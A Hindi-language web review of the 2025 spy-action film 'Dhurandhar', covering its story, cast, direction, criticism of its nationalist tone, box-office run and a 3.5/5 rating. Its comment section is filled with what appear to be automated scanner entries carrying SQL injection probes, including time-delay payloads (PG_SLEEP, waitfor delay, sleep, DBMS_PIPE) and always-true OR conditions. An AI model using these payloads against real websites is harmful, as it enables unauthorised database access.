धुरंधर (Dhurandhar) मूवी रिव्यू – एक ग्रिट्टी स्पाई थ्रिलर, बड़ा विषय और विवादों का तड़का

‘धुरंधर’ 2025 में रिलीज़ हुई एक हिंदी‑भाषा की स्पाई‑एक्शन थ्रिलर फिल्म है, जिसका निर्देशन आदित्य धर ने किया है। फिल्म में रणवीर सिंह, अक्षय खन्ना, संजय दत्त, आर. माधवन, अर्जुन रामपाल, सारा अर्जुन जैसे बड़े कलाकार मुख्य भूमिकाओं में हैं।

📌 कहानी और थिम

फिल्म की कहानी एक कोवर्ट ऑपरेशन के इर्द‑गिर्द घूमती है, जिसमें एक भारतीय एजेंट दुश्मन मुल्क के अंदर जा कर आतंकवाद और गैंगस्टर नेटवर्क में पैठ बनाता है। कहानी में प्राकृतिक रूप से असल‑जिंदगी के कई बड़े आतंकी घटनाक्रमों को शामिल किया गया है जैसे IC‑814 हाईजैकिंग, संसद पर हमला, मुंबई 26/11 जैसे ऐतिहासिक प्रसंगों को कहानी से जोड़ा गया है।

फिल्म दोनों तरफ की दुनिया — पाकिस्तान की गैंगस्टरबाजी, आतंकवाद की जड़ें और भारत की खुफिया रणनीतियों — को दिखाती है।


🎬 पर्फ़ॉर्मेंस और अभिनय

कुल मिलाकर कलाकारों की फौज फिल्म को मजबूती देती है, भले ही कहानी कुछ जगह भारी‑भरकम लगती है।


🎥 निर्देशन और तकनीकी पक्ष

आदित्य धर का निर्देशन स्पष्ट रूप से बड़ी स्क्रीन के हिसाब से बनाया गया है — फिल्म का बीच‑बीच में रॉ एजेंट की पहचान, गैंगस्टर राजनीति और आतंकी घटनाओं का मिश्रण दर्शकों की दिलचस्पी बनाए रखता है।

फिल्म का रन‑टाइम लगभग 3.5 घंटे है, जो कई समीक्षकों ने लंबा बताया है, लेकिन तेज‑तर्रार एक्शन और ठोस सेट‑पीस इसे आगे बढ़ाते हैं।
सिनेमैटोग्राफी, लोकेशन, और साउंड डिज़ाइन अक्सर तारीफ के काबिल रहे हैं, जिससे फिल्म की बड़ी स्क्रीन ऊर्जा सामने आती है।


🎧 थीम, बैकग्राउंड और आलोचना

फिल्म की बैकग्राउंड स्कोर और साउंड डिज़ाइन को काफी सराहा गया है, जो युद्ध‑थ्रिलर माहौल को और ऊँचाई देता है।

लेकिन, फिल्म को कुछ समीक्षकों ने भारी‑भारी राजनीतिक तड़का, हिंसा, और कथानक की गहराई की कमी के लिए भी आलोचना का सामना करना पड़ा है। कुछ समीक्षक इसे जिंगोइस्टिक कहा चुके हैं, यानी रौद्र और राष्ट्रवादी संदेश को कहीं‑कहीं बहुत ज़ोर देकर बताया गया है।

किसी दर्शक को यह महसूस भी हुआ कि कुछ हिस्सों में कहानी धीमी और बेतरतीब भी लगती है।


🎟️ बॉक्स ऑफिस और दर्शकों की प्रतिक्रिया

फिल्म धुरंधर ने बॉक्स ऑफिस पर जबरदस्त रिकॉर्ड तोड़े हैं और लंबी अवधि तक कमाई कर रही है।
यह पैन‑इंडिया स्तर पर ख़ूब दर्शकों को सिनेमाघरों तक खींच रही है, यहां तक कि हिंदी भाषा के बावजूद भारत के दक्षिणी हिस्सों में भी दर्शक बड़ी संख्या में देखते पाए गए हैं।
बॉक्स ऑफिस पर इसका प्रदर्शन कई फिल्मों के मुकाबले काफी मजबूत रहा है।


📊 फ़िल्म की खूबियाँ और कमियाँ

👍🏻 पॉइंट्स (खूबियाँ):
✔️ दमदार कलाकार और प्रदर्शन
✔️ देश‑द्रोह, जैश और साज़िशों का भारी माहौल
✔️ सिनेमैटोग्राफी और साउंड डिज़ाइन
✔️ बड़े पैमाने के एक्शन और ड्रामा

👎🏻 कमियाँ:
❌ लंबा रन‑टाइम
❌ कुछ जगह कहानी धीमी
❌ राजनीतिक संदेश के चलते विरोध भी हुआ


📌 अंतिम फैसला (Verdict)

‘धुरंधर’ एक बड़ा, बोल्ड और सिनेमाई अनुभव देने वाली फिल्म है — जो अपने विषय, एक्शन और कलाकारों के दम पर बॉलीवुड में अलग पहचान बनाने में कामयाब रही है।
अगर आप स्पाई‑थ्रिलर, इतिहास‑आधारित साजिश और बड़े पैमाने का ड्रामा पसंद करते हैं, तो यह फिल्म आपको दिलचस्प और रोमांचक लगेगी।

रेटिंग: 3.5/5

Related Stories

Comments

xsjyBldb — 29 May 2026 20:50

555

xsjyBldb — 29 May 2026 20:50

555

@@7kig8 — 29 May 2026 20:45

555

xsjyBldbjurKKxVe')) OR 77=(SELECT 77 FROM PG_SLEEP(15))-- — 29 May 2026 20:45

555

xsjyBldb'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb'" — 29 May 2026 20:45

555

xsjyBldb????%2527%2522\'\" — 29 May 2026 20:45

555

xsjyBldb-1 waitfor delay '0:0:15' -- — 29 May 2026 20:45

555

xsjyBldb3vrQveGr'; waitfor delay '0:0:15' -- — 29 May 2026 20:45

555

xsjyBldbtP1pjnk9' OR 666=(SELECT 666 FROM PG_SLEEP(15))-- — 29 May 2026 20:45

555

xsjyBldbRPjnBmas') OR 543=(SELECT 543 FROM PG_SLEEP(15))-- — 29 May 2026 20:45

555

-1" OR 2+373-373-1=0+0+0+1 -- — 29 May 2026 20:45

555

if(now()=sysdate(),sleep(15),0) — 29 May 2026 20:45

555

xsjyBldb0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z — 29 May 2026 20:45

555

xsjyBldb0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z — 29 May 2026 20:45

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select( — 29 May 2026 20:45

555

-1 OR 2+580-580-1=0+0+0+1 -- — 29 May 2026 20:45

555

-1 OR 2+131-131-1=0+0+0+1 — 29 May 2026 20:45

555

-1' OR 2+583-583-1=0+0+0+1 -- — 29 May 2026 20:45

555

-1' OR 2+636-636-1=0+0+0+1 or 'L0BBbwkr'=' — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555????%2527%2522\'\"

xsjyBldb — 29 May 2026 20:45

@@Tgn2A

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555yvilgTWE')) OR 188=(SELECT 188 FROM PG_SLEEP(15))--

xsjyBldb — 29 May 2026 20:45

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

xsjyBldb — 29 May 2026 20:45

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555'"

xsjyBldb — 29 May 2026 20:45

555-1) OR 256=(SELECT 256 FROM PG_SLEEP(15))--

xsjyBldb — 29 May 2026 20:45

555-1)) OR 93=(SELECT 93 FROM PG_SLEEP(15))--

xsjyBldb — 29 May 2026 20:45

555ifKsLmuN' OR 790=(SELECT 790 FROM PG_SLEEP(15))--

xsjyBldb — 29 May 2026 20:45

555lDdKc0su') OR 335=(SELECT 335 FROM PG_SLEEP(15))--

xsjyBldb — 29 May 2026 20:45

555-1); waitfor delay '0:0:15' --

xsjyBldb — 29 May 2026 20:45

555-1 waitfor delay '0:0:15' --

xsjyBldb — 29 May 2026 20:45

555GG4sg7d5'; waitfor delay '0:0:15' --

xsjyBldb — 29 May 2026 20:45

555-1 OR 592=(SELECT 592 FROM PG_SLEEP(15))--

xsjyBldb — 29 May 2026 20:45

555*if(now()=sysdate(),sleep(15),0)

xsjyBldb — 29 May 2026 20:45

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

xsjyBldb — 29 May 2026 20:45

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

xsjyBldb — 29 May 2026 20:45

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

xsjyBldb — 29 May 2026 20:45

555-1; waitfor delay '0:0:15' --

xsjyBldb — 29 May 2026 20:45

-1' OR 2+352-352-1=0+0+0+1 --

xsjyBldb — 29 May 2026 20:45

-1' OR 2+461-461-1=0+0+0+1 or 'fXPTqzcF'='

xsjyBldb — 29 May 2026 20:45

-1" OR 2+932-932-1=0+0+0+1 --

xsjyBldb — 29 May 2026 20:45

-1 OR 2+875-875-1=0+0+0+1

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

-1 OR 2+459-459-1=0+0+0+1 --

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:45

555

xsjyBldb — 29 May 2026 20:43

555

@@DIYxc — 29 May 2026 20:25

555

xsjyBldb'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb'" — 29 May 2026 20:25

555

xsjyBldb????%2527%2522\'\" — 29 May 2026 20:25

555

xsjyBldb4KTZcFEl' OR 770=(SELECT 770 FROM PG_SLEEP(15))-- — 29 May 2026 20:25

555

xsjyBldb1MMLukqB') OR 745=(SELECT 745 FROM PG_SLEEP(15))-- — 29 May 2026 20:25

555

xsjyBldbmWLgdFBv')) OR 42=(SELECT 42 FROM PG_SLEEP(15))-- — 29 May 2026 20:25

555

xsjyBldb0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z — 29 May 2026 20:25

555

xsjyBldb0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z — 29 May 2026 20:25

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select( — 29 May 2026 20:25

555

xsjyBldb-1 waitfor delay '0:0:15' -- — 29 May 2026 20:25

555

xsjyBldbI9ToG2Ug'; waitfor delay '0:0:15' -- — 29 May 2026 20:25

555

-1' OR 2+815-815-1=0+0+0+1 -- — 29 May 2026 20:25

555

-1' OR 2+484-484-1=0+0+0+1 or '7Jl1PxKX'=' — 29 May 2026 20:25

555

-1" OR 2+853-853-1=0+0+0+1 -- — 29 May 2026 20:25

555

if(now()=sysdate(),sleep(15),0) — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

-1 OR 2+951-951-1=0+0+0+1 -- — 29 May 2026 20:25

555

-1 OR 2+424-424-1=0+0+0+1 — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555'"

xsjyBldb — 29 May 2026 20:25

555????%2527%2522\'\"

xsjyBldb — 29 May 2026 20:25

@@KTnk5

xsjyBldb — 29 May 2026 20:25

555dXpnRCP7' OR 520=(SELECT 520 FROM PG_SLEEP(15))--

xsjyBldb — 29 May 2026 20:25

555nsnhy4qb') OR 266=(SELECT 266 FROM PG_SLEEP(15))--

xsjyBldb — 29 May 2026 20:25

555A5IJqTUN')) OR 535=(SELECT 535 FROM PG_SLEEP(15))--

xsjyBldb — 29 May 2026 20:25

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

xsjyBldb — 29 May 2026 20:25

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

xsjyBldb — 29 May 2026 20:25

55568FHG4Ne'; waitfor delay '0:0:15' --

xsjyBldb — 29 May 2026 20:25

555-1 OR 664=(SELECT 664 FROM PG_SLEEP(15))--

xsjyBldb — 29 May 2026 20:25

555-1) OR 125=(SELECT 125 FROM PG_SLEEP(15))--

xsjyBldb — 29 May 2026 20:25

555-1)) OR 930=(SELECT 930 FROM PG_SLEEP(15))--

xsjyBldb — 29 May 2026 20:25

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

xsjyBldb — 29 May 2026 20:25

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

xsjyBldb — 29 May 2026 20:25

555-1; waitfor delay '0:0:15' --

xsjyBldb — 29 May 2026 20:25

555-1); waitfor delay '0:0:15' --

xsjyBldb — 29 May 2026 20:25

555-1 waitfor delay '0:0:15' --

xsjyBldb — 29 May 2026 20:25

-1' OR 2+363-363-1=0+0+0+1 or '99KHUt8z'='

xsjyBldb — 29 May 2026 20:25

-1" OR 2+446-446-1=0+0+0+1 --

xsjyBldb — 29 May 2026 20:25

555*if(now()=sysdate(),sleep(15),0)

xsjyBldb — 29 May 2026 20:25

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

555

xsjyBldb — 29 May 2026 20:25

-1 OR 2+468-468-1=0+0+0+1 --

xsjyBldb — 29 May 2026 20:25

-1 OR 2+207-207-1=0+0+0+1

xsjyBldb — 29 May 2026 20:25

-1' OR 2+636-636-1=0+0+0+1 --

xsjyBldb — 29 May 2026 20:21

555

Leave a Comment